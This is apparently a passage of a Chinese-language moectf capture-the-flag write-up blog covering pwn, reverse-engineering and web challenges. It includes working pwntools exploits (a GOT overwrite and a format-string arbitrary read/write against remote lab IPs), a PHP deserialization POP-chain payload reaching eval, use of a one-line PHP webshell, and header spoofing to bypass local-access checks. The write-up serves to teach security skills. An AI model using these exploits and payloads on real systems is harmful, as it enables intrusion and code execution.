yday = v3.contents.tm_yday
libc.srandom(yday)

test=0x0a
while(test):
    secret= libc.rand() % 90000 + 10000
    io.sendlineafter(b"of",str(secret))
    test-=1

secret = secret % 0x15F90 + 10000
io.sendlineafter(b"of",str(secret))

secret = libc.rand() % 0x15F90 + 10000
io.sendlineafter(b"of",str(secret))

io.interactive()

# moectf{r4NDom-nUMB3r5-@R3-pReD1ctA6Ieaad447}

这里的rand和random都需要在使用之前需要先初始化随机种子,否则每次生成的随机数一样

而arc4random不需要生成随机种子,因为在第一次调用的时候就会自动生成。


这是什么?GOT!

检查保护情况,只开了代码执行保护,未完全开启 RELRO(重定向只读)保护

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

查看main函数,发现有read函数可以覆写got表的地址,并且执行完read后会调用exit函数,这里选择覆写exit函数的got表指向的地址,并且注意在覆写过程中不能改变system的got表指向的地址

查看内存中的地址

x/16xg 0x404000
0x404000 <puts@got[plt]>:       0x0000000000401036      0x0000000000401046
0x404010 <system@got[plt]>:     0x0000000000401056      0x0000000000401066
0x404020 <alarm@got[plt]>:      0x0000000000401076      0x0000000000401086
0x404030 <setvbuf@got[plt]>:    0x0000000000401096      0x00000000004010a6

思路是通过read从put的got表处将exit的got表改为指向后门函数,当执行完read后,调用exit函数就会调用后门函数

from pwn import *

io=remote("192.168.40.1",58220)

# io = process("./1")
# gdb.attach(io,"b *0x401285")
# pause()

payload=b'\x56\x10\x40\x00\x00\x00\x00\x00'*7+b"\x96\x11\x40\x00\x00\x00\x00\x00"

io.sendlineafter(b'`puts`.',payload)
io.interactive()

# moectf{de5tRUcTlOn_4Nd-reCOvEry_c0exIsT3ba643}

LoginSystem

检查保护情况,只有PIE没有开

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

在login函数中发现printf格式化字符串漏洞

先计算出输出处的偏移为8

payload=b'DDDDDDDD'+b".%p.%p.%p.%p.%p.%p.%p.%p"
Welcome, DDDDDDDD.0x7fffd266aaf0.(nil).0x7fcb5b8aa887.0x9.0x7fcb5b9c7040.0x7fcb5b9ad600.0x7fcb5b8205ad.0x4444444444444444  #偏移8

这里用任意地址读和写都可以

任意地址读

from pwn import*

io=remote("192.168.40.1",56535)
# io=process("1")

# gdb.attach(io,"b* 0x40137D")
# pause()

# payload=b'DDDDDDDD'+b".%p.%p.%p.%p.%p.%p.%p.%p"   偏移8
payload=b'%9$s\x00\x00\x00\x00\x50\x40\x40\x00\x00\x00\x00\x00'
io.sendlineafter(b"username:",payload)

io.recvuntil(b", ")
password=io.recvuntil(b"!")[:-1]
io.sendlineafter(b"password:",password)

io.interactive()

这里需要注意的是printf会被\x00阻断,所以我们在偏移为9的地方存储password处的地址,并通过 %9$s 读取

任意地址写

from pwn import*

context.arch='amd64'
# io=remote("192.168.40.1",56535)
io=process("./1")

# gdb.attach(io,"b* 0x40137D")
# pause()

# payload=b'DDDDDDDD'+b".%p.%p.%p.%p.%p.%p.%p.%p"   偏移8
payload=fmtstr_payload(8,{0x404050:0},write_size='short')
print(payload)
print(len(payload))
io.sendlineafter(b"username",payload)

password=b'\x00'*8
io.sendlineafter(b"password",password)

io.interactive()

认识到了一个新的函数fmtstr_payload,用于自动生成格式化字符串payload

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
  • offset:控制的第一个格式化程序的偏移
  • writes:为字典,用于往addr中写入value,例如{addr: value, addr2: value2}
  • numbwritten:已经由printf写入的字节数
  • write_size:必须是byte/short/int其中之一,指定按什么数据宽度写(%hhn/%hn/%n

这里要注意的是使用前需要声明版本是32还是64的

context.arch="amd64"

Catch_the_canary!

检查保护情况,开了Canary和代码执行保护

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

System_not_found!


第三周

NX_on!


shellcode_revenge


Pwn_it_off!


Read_once_twice!


Where is fmt?


Reverse

第一周

逆向工程入门指北

根据解密脚本得到flag

#include <stdio.h>

int main()
{
char password_enc[] = {
123, 121, 115, 117, 98, 112, 109, 100, 37, 96, 37, 100, 101, 37, 73, 39,
101, 73, 119, 73, 122, 121, 120, 113, 73, 122, 121, 120, 113, 73, 97, 119,
111, 73, 98, 121, 73, 115, 110, 102, 122, 121, 100, 115, 107, 22 };

char password[47];
for (int i = 0; i < 46; i++) {
password[i] = password_enc[i] ^ 22;
}
password[46] = 0; 
printf("%s\n", password);
return 0;
}
// moectf{r3v3rs3_1s_a_long_long_way_to_explore}
moectf{r3v3rs3_1s_a_long_long_way_to_explore}

xor

#include <stdio.h>

int main()
{
    char p[]= "\x49\x4B\x41\x47\x50\x42\x5F\x41\x1C\x16\x46\x10\x13\x1C\x40\x09\x42\x16\x46\x1C\x09\x10\x10\x42\x1D\x09\x46\x15\x14\x14\x09\x17\x16\x14\x41\x40\x40\x16\x14\x47\x12\x40\x14\x59\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

    int i;
    for (i = 0; i < 44; i++) 
    {
        printf("%c", p[i]^0x24);  
    }

    return 0;
}

// moectf{e82b478d-f2b8-44f9-b100-320edd20c6d0}

定位密文和异或数即可解出


TEA

tea算法最关键的是要找到DELTA值和128位的key。

明文长度分组为64位(8字节),密钥长度为128位(16字节),明文和密钥进入32轮循环,得到最后的64位密文。其中magic number DELTA是由黄金分割点得到。

首先分析最重要的解密部分

do
  {
    v3 -= 0x61C88647;
    v4 += (v5 + v3) ^ (16 * v5 + 0x65736162) ^ ((v5 >> 5) + 0x6F783436);
    v5 += (v4 + v3) ^ (16 * v4 + 0x61657472) ^ ((v4 >> 5) + 0x61657478);
    --v6;
  }
  while ( v6 );

v3 -= 0x61c88647 和 v3 += 0x9e3779b9 是等价的,所以DELTA为0x9e3779b9。可以使用IDA插件进行常规TEA算法的识别。并且得到4个key

if ( v4 != 0x284C2234 || (v7 = "correct flag!!!\n", v5 != 0x3910C558) )
    v7 = "not correct, try again!\n";

这里能获取到两个需要解密的数据v4 v5的值

#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9

void encrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum=0, i;                        
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];
    for (i=0; i < 32; i++) {
        sum += DELTA;
        v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
    }
    v[0]=v0; v[1]=v1;
}

void decrypt (uint32_t* v, uint32_t* k)
{
    uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];
    for (i=0; i<32; i++) {
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= DELTA;
    }
    v[0]=v0; v[1]=v1;
}

int main()
{
    uint32_t k[4]={0x65736162,0x6F783436,0x61657472,0x61657478};
    uint32_t v[2]={0x284C2234,0x3910C558};

    decrypt(v,k);

    int v4,v5,v11,v9;
    v4 = v[0];
    v5 = v[1];
    printf("v4=%x v5=%x\n",v4,v5);
    v11 = (v5 >> 16) & 0xFFFF;
    v9  = v5 & 0xFFFF;

    printf("moectf{%x-%x-%x-9c42-caf30620caaf}",v4,v11,v9);
}

//moectf{836153a5-8e00-49bd-9c42-caf30620caaf}

逆向工程进阶之北

首先对题目的代码进行翻译

#include <stdio.h>
#include <string.h>

void flag_encryption(unsigned char* input) {
    size_t len = strlen((const char*)input);
    if (len != 44) {
        printf("length error!\n");
        return;
    }

    unsigned int* p = (unsigned int*)input;
    int i;
    for ( i = 0; i < 11; i++) {
        p[i] = (p[i] * 0xccffbbbb + 0xdeadc0de) ^ 0xdeadbeef + 0xd3906;
        printf(", 0x%08x", p[i]);
    }
    printf("\n");
}

int main() {
    unsigned char a[] = "moectf{f4k3__flag__here_true_flag_in_s3cr3t}";
    flag_encryption(a);
    return 0;
}

锁定最重要的加密部分

p[i] = (p[i] * 0xccffbbbb + 0xdeadc0de) ^ 0xdeadbeef + 0xd3906;

这里的话需要用到有限域下的乘法逆元的知识,在进阶指北里有详细讲解,这里主要是讲一下实现。

from sympy import mod_inverse

def modular_inverse(a, m):
    try:
        inverse = mod_inverse(a, m)
        return inverse
    except ValueError:
        return f"{a} 在mod {m} 下没有乘法逆元"

a = 0xccffbbbb
m = 0x100000000
inverse = modular_inverse(a, m)
print(f"{a} 在mod {m} 下的乘法逆元是: {inverse}")

通过上述代码可以得到 3439311803 在模 4294967296 下的乘法逆元是: 2371998067,所以解密部分应该为

p[i] = (((p[i] ) ^ (0xdeadbeef + 0xd3906)) - 0xdeadc0de) * 0x8d61d173;

这里要特别注意c++的加号'+'优先级是比异或'^'高的

写出解密脚本

#include <stdio.h>

void decrypt(unsigned int* p)
{

    for (int i = 0; i < 11; i++)
    {
        p[i] = (((p[i] ) ^ (0xdeadbeef + 0xd3906)) - 0xdeadc0de) * 0x8d61d173;
    }

    unsigned char* input = (unsigned char*) p;

    for (int i = 0; i < 44; i++)
    {
        printf("%c", input[i]);
    }

}

int main()
{
    unsigned int p[] = {
    0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda ,
    0x52bc07da , 0x29054b48 , 0x42d74750 , 0x11297e95 ,
    0x5cf2821b , 0x747970da , 0x64793c81};

    decrypt(p);

    return 0;
}

得到flag

moectf{c5f44c32-cbb9-444e-aef4-c0fa7c7a6b7a}

SecretModule

打开customize.sh文件,提取到关键信息

printf 'QlpoOTFBWSZTWZspxEUAAfxfgFAwdef/6zfHz6D/79/uQAJSu07tCQ1BI09E9Q0DINA9TQA2oAAA0NAlCFPRpM0mjSNR+hIaek0AHqaGj1PUNNMeqDSEJ6gNBo0NNAAZNGjI0NBoAAlEjEo8ppp6NPVGCaaNNMR6g9EBoPUGgPAecJO66TH6u4xdFeH8fRdR4OSNOqLoVm2I39FZSS/irDMIJmggh2EyQovQos26HmeniQH4iRSw0JeeVV2C9E8NkJh+VZwioAZj5QpGcdTmdOSMoYLaiaaa8oZEhIRgQbKjP7VIopzl53axe+MJxXTyrg/duKuBYecUVQUUTMptuykt+JqZZmJSM0dQ/YaHpifbwN3wN0NYRAEYC0tkI6uE4GkS9r1eFB9zyCBef6dnGYwKo8BylS24xNYsXSUXIYpZC3fzxlQKVBUwrBawin+AaDPkLwbCSQNge45QjrBfoNLEJSWk8C0ajKPu8NORzYlfqGgjOQOQQ0YG7gCRaWFD6wkguEqEUi6bSFTxLE4Y3+pziYRKFVet5X1CrnXc2jLN+9tMTJ8beC0ED5k1K7n22efCha1ci53zQHgQBUKLg1Q3hPZoMCAp0g48QN02037Qy891pyxa+vZU5msKnsJryCXKyBdrCrWXljrC/S6i3MBzRikY4kZzLw7v8aL7oOYKGRkUCWxelwUWFKIOQyImQVnIKicgYFqJYjeY1CMSgaiR4dqQ7MomJ6LdpOEtDOvfhjsEplnGTvSo3NV1KnALfTTYMeOUngApQKa8IExBIGZhafHgZZjI0HAKg6bcV5QwiUHCoorQaSWUvNMLgejbZ/QJA9QFWitiup+KyAU5uTergMVuJ5jj/xdyRThQkJspxEU='   | base64   -d   |   bunzip2  -c    

解码后得到以下信息

testk() {
  echo "Welcome to the Secret module!But before you begin,you need to prove your self."
  (/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events) || return 1
  return 0
}   

choose() {
  while true; do
    /system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events
    if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUME >/dev/null`); then
      break
    fi
  done
  if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUMEUP >/dev/null`); then
    echo "114514"
  else
    echo "1919810"
  fi
}

if testk; then
  ui_print "Great! Now enter the secret."

else
  ui_print "Legacy Device. Use a newer device to do this challenge"
  exit
fi

concatenated=""

for i in 1 2 3 4 5 6 7
do
  result=$(choose)
  concatenated="${concatenated}${result}"
done

input_str=$(echo -n $concatenated | md5sum | awk '{print $1}')
sec="77a58d62b2c0870132bfe8e8ea3ad7f1"
if test $input_str = $sec
then
    echo 'You are right!Flag is'
    echo "moectf{$concatenated}"
else
    echo 'Wrong. Try again.'
    exit
fi

分析代码后我们能够发现最终的flag是由七组数字组成,每组数字为"114514"或"1919810",以及他的md5值,所以可以写一个代码进行爆破

import hashlib

md5 = "77a58d62b2c0870132bfe8e8ea3ad7f1"
values = ["114514", "1919810"]

for a in values:
    for b in values:
        for c in values:
            for d in values:
                for e in values:
                    for f in values:
                        for g in values:
                            concatenated = a + b + c + d + e + f + g
                            if hashlib.md5(concatenated.encode()).hexdigest() == md5:
                                print(f"moectf{{{concatenated}}}")
                                exit()

print("No match found.")

得到flag

moectf{114514114514191981011451411451419198101919810}

Web

 第一周

Web入门指北

$data = array(
    "ciphertext" => "F8NX+bX/AAT5oTosfY7JpiQ1oQM0onbI/41oFG9khFMr68qBn8ZlPia8XhrLSMFo",
    "key" => "1234567891011121"
);

从附件中获取到加密方式和key和IV,直接进行AES解密得到flag

image-20240730011656391

moectf{H3r3'5_@_flYinG_kIss_f0r_yoU!}

弗拉格之地的入口

去百度了解后得知爬虫抓取网站的时候要查看的第一个文件是robots.txt,位于网站的根目录下。obots.txt文件定义了爬虫在爬取该网站时存在的限制,哪些部分爬虫可以爬取,哪些不可以爬取。

访问后得到以下信息

# Robots.txt file for xdsec.org
# only robots can find the entrance of web-tutor
User-agent: *
Disallow: /webtutorEntry.php

进一步访问

我想……这里就是入口了吧
想要获得真正的具有价值的 flag, 还得往里走
但是,先拿着这个 flag 吧,兴许它也有点作用呢
flag: moectf{c0NGr@tuIAT10N_F0r_KNowiNG_rOboTs-TXTa5d}

得到flag

moectf{c0NGr@tuIAT10N_F0r_KNowiNG_rOboTs-TXTa5d}

弗拉格之地的挑战

连上靶场后获得信息,访问

http://127.0.0.1:xxxxx/flag1ab.html

在源代码中找到第一段flag

flag1: bW9lY3Rm

继续访问

127.0.0.1:xxxxx/flag2hh.php

在响应标头中发现flag2以及flag3地址

image-20240810202452143

flag2:e0FmdEV

访问下一层

127.0.0.1:xxxxx/flag3cad.php

根据题目要求是用 GET 方法传入一个 a 参数

http://127.0.0.1:xxxxx/flag3cad.php?a=1

传入后用hackbar用 POST 方法传入一个 b 参数后需要使用 admin 的身份验证,所以加一个cookie并改为verify=admin

得到flag3

flag3: yX3RoMXN

这里介绍一下Burpsuite的POST传参方式

先将拦截的包发到Repeater

将GET改为POST后添加

Content-Type: application/x-www-form-urlencoded
Content-Length: 3
b=3

下一步需要将Cookie更改为

Cookie: verify=admin

也能达到同样的效果


进入下一层

127.0.0.1:xxxxx/flag4bbc.php

将Referer改为

http://localhost:8080/flag3cad.php?a=1

有八个按钮,查看源码

if (button.id == 9) {
            alert("你过关!(铜人震声)\n我们使用 console.log 来为你生成 flag");
            fetch('flag4bbc.php', {
                method: 'post',
                body: 'method=get',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded',
                },
            })

有两种思路,一种是更改前端,更改或新添加一个id为9的按钮,另一种思路是直接传下面的参数,得到flag4与下一层连接

flag4: fdFVUMHJ

进入下一层

127.0.0.1:xxxxx/flag5sxr.php

需要输入I want flag,但是输入后抓包发现其实是并没有加上的,查看源代码发现被前端过滤了

if (content == "I want flag") {
            alert("你就这么直接?");
            return false;
        } else {
            return true;
        }

这时候我们直接抓包改,得到flag5和下一层连接

flag5: fSV90aDF

进入下一层

http://127.0.0.1:xxxxx/flag6diw.php

一个绕过

<?php
highlight_file("flag6diw.php");
if (isset($_GET['moe']) && $_POST['moe']) {
    if (preg_match('/flag/', $_GET['moe'])) {
        die("no");
    } elseif (preg_match('/flag/i', $_GET['moe'])) {
        echo "flag6: xxx";
    }
}

首先需要用GET和POST传moe,然后对GET参数内容进行绕过。模式分隔符后写i,表示这是一个大小写不敏感的搜索所以可以传入FLAG绕过。得到flag6和下一层地址

flag6: rZV9VX2t

进入下一层

http://127.0.0.1:xxxxx/flag7fxxkfinal.php

出现以下信息

但是,由于龙珠被你抢走了 6 个,现在这个弗拉格之地的空间已经极度不稳定,要崩塌了,最后一颗龙珠也不知道滚落到了那里
下面已经出现了空间裂痕,借助他的力量找到这片空间里的最后一颗龙珠?

eval($_POST['what']); 

这是一条一句话木马,直接蚁剑连接,在根目录发现flag7和提示

flag7:rbm93X1dlQn0=
如果你看到这个提示,说明你已经集齐了 7 颗龙珠(当然没集齐也没关系,你都来到这了,剩下的还能难倒你?)
现在把你的 7 个 flag 片段拼在一起,你就应该知道怎么样获得最终 flag 了。
如果你还不知道,想一想这些编码,一堆大小写和数字,最后还有一个等号哦。。。

整理一下目前得到的信息

flag1:bW9lY3Rm
flag2:e0FmdEV
flag3:yX3RoMXN
flag4:fdFVUMHJ
flag5:fSV90aDF
flag6:rZV9VX2t
flag7:rbm93X1dlQn0=
bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=    base64
moectf{AftEr_th1s_tUT0r_I_th1ke_U_kknow_WeB}

ez_http

查看源代码

<body>
    <div class="container">
        <form method="get">
            <button class="button" name="animateButton">Hit the question setter</button>
        </form>
        <style>body { background-image: url('image4.jpg'); }</style><h1 class="title">Please use POST method</h1>
    </div>
</body>

根据提示将GET改为POST,进入下一层

Please POST the parameter imoau=sb

POST传参后,进入下一层

Please GET the parameter xt=大帅b

GET传参后,进入下一层

The source must be https://www.xidian.edu.cn

将Referer设置为https://www.xidian.edu.cn/

Please use MoeDedicatedBrowser

将User Agent设置为MoeDedicatedBrowser

Local access only

添加header

X-Forwarded-For: 127.0.0.1

得到flag

moectf{YoU-aR3-r341lY-rE4I1Y-v3rY-CIev3r!!!1549e}

ProveYourLove(七夕限定)

提交一份进行抓包,发现未进行加密

image-20240810173141476

直接进行爆破,得到flag

image-20240810173210236

moectf{conGraTuI4tiOnS-ON_B3COmlng_a-lICk1Ng-dOG1b6}
moeCTF{Happy_Chin3s3_Va13ntin3's_Day,_Baby.}

pop moe

这里先对源代码进行解读

<?php

//定义一个名为 class000 的类
class class000 {
    //声明一个私有属性 $payl0ad ,一个受保护的属性 $what
    private $payl0ad = 0;
    protected $what;

    //对象被销毁时调用的魔术方法,class000类的公共成员方法
    public function __destruct()
    {
        $this->check();
    }

    //定义一个名为 check 的公共成员方法
    public function check()
    {
        //当 $payl0ad 属性的值等于0时终止脚本运行,并且输出 'FAILED TO ATTACK'
        if($this->payl0ad === 0)
        {
            die('FAILED TO ATTACK');
        }
        //将 $this->what 赋值给变量 $a ,并调用 $a
        $a = $this->what;
        $a();
    }
}

//定义一个名为 class001 的类
class class001 {
    //声明两个公有属性 $payl0ad 和 $a
    public $payl0ad;
    public $a;

    //以函数的方式调用一个对象时调用此魔术方法
    public function __invoke()
    {
        //将 $payl0ad 属性 赋值给 $a->payload
        $this->a->payload = $this->payl0ad;
    }
}

//定义一个名为 class002 的类
class class002 {
    //声明一个私有属性 $sec
    private $sec;

    //定义了一个名为 __set 的公共方法
    public function __set($a, $b)
    {   
        //尝试给对象的一个不存在或不可访问的属性赋值,调用 $b 作为当前对象 $this 的一个方法,并将当前对象 $this 的 sec 属性作为参数传递给 $b 方法
        $this->$b($this->sec);
    }

    //定义了一个名为 dangerous 的公共方法
    public function dangerous($whaattt)
    {
        //调用了 $whaattt 对象的 evvval 方法,并将 $this->sec 作为参数传递给它
        $whaattt->evvval($this->sec);
    }

}

//定义一个名为 class003 的类
class class003 {
    public $mystr;

    //定义了一个名为 evvval 的公共方法
    public function evvval($str)
    {
        eval($str);
    }

    // 当你尝试将对象转换为字符串(例如,在 echo 或 print 语句中)时,__toString 方法会被自动调用
    public function __tostring()
    {
        //返回对象的一个属性 $this->mystr 的值
        return $this->mystr;
    }
}

// 如果 GET 请求中包含参数 data
if(isset($_GET['data']))
{
    // 反序列化 data 参数并将结果赋值给 $a 变量
    $a = unserialize($_GET['data']);
}
// 如果没有 data 参数,则显示当前文件的源代码
else {
    highlight_file(__FILE__);
}

这一题我们需要构造pop链,要先找到pop链的头和尾,再理清从pop链尾到头的过程:

pop链尾处我们需要通过赋值 $mystr 进行命令执行,通过 __tostring( ) \$str 替换为\$mystr

通过 evvval(\$str) 函数调用 eval($str) 触发 __tostring( )

触发eval( )函数的条件是需要触发class003中的evvval( )函数。

触发evvval( )函数的条件是触发class002中的dangerous( )函数

为了触发dangerous( )函数,我们需要触发class002中的__set( )魔术方法并使\$this -> dangerous($this->sec)

当我们给class002的一个不存在或不可访问的属性赋值时候,会自动调用__set( )方法,从而调用到dangerous( )函数

在触发class001中的_invoke( )并使\$this->a = new class002( ) ->payload = $this->payl0ad,从而调用\_set( ) 方法。

class001类中的check( )函数以函数方式调用 \$a 可以触发__invoke( ),函数中存在\$a = \$this -> what,所以我们需要对what进行赋值,使 this -> what = new class001

但是check( )需要 payl0ad 的值 != 0 , 需要对 payl0ad 进行重新赋值,直接赋值或者方法赋值。

当 class000开始被销毁时触发__destruct() 进而调用 check( ) 函数,实现闭环

class000 -> __destruct() => class001 -> check( ) => class001 -> __invoke( ) => class002 -> __set( ) => class002 -> dangerous( ) => class003 -> evvval( ) => class003 -> eval( ) => clss003 -> __tostring( )

<?php

class class000 {
    private $payl0ad = 1;
    protected $what;
    public function setWhat($setWhat)
    {
        $this->what = $setWhat;
    }
}

class class001 {
    public $payl0ad;
    public $a;
}

class class002 {
    private $sec;
    public function setSec($setSec)
    {
        $this->sec = $setSec;
    } 
}

class class003 {
    public $mystr;
}

$c3 = new class003;
$c3 -> mystr = 'phpinfo();';

$c2 = new class002;
$c2 -> setSec($c3);

$c1 = new class001;
$c1 -> a = $c2;
$c1 -> payl0ad = 'dangerous';

$c0 = new class000;
$c0->setWhat($c1);

echo urlencode(serialize($c0));

?>

编码后得到

O%3A8%3A%22class000%22%3A2%3A%7Bs%3A17%3A%22%00class000%00payl0ad%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00what%22%3BO%3A8%3A%22class001%22%3A2%3A%7Bs%3A7%3A%22payl0ad%22%3Bs%3A9%3A%22dangerous%22%3Bs%3A1%3A%22a%22%3BO%3A8%3A%22class002%22%3A1%3A%7Bs%3A13%3A%22%00class002%00sec%22%3BO%3A8%3A%22class003%22%3A1%3A%7Bs%3A5%3A%22mystr%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D

GET传入data命令执行查看php配置信息,在Environment下找到flag

moectf{IT-sE3MS-tH4t_yOu_KNow_WHat-15-pOp-IN-PHPpppPpP!!!4b} 

Dev

哦不!我的libc!

连上后先查看可用指令

root@ret2shell-89-7114:~# compgen -c
if
then
else
elif
fi
case
esac
for
while
done
function
!
alias
builltin
continue
echo
eval
exit
export
printf
read
return
shift
shopt
true
unalias
unset
shutdowm
yes

采用echo重定向读取flag.txt文件,得到flag

root@ret2shell-89-7114:~# echo $(</flag.txt)
moectf{6UsYB0X_ls-sO00OOO100o0oOo0OOoOo00o0o00_6usYb}

大语言模型应用安全

Neuro?

image-20240814163558382

moectf{c31536ef2c9d6fc9}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇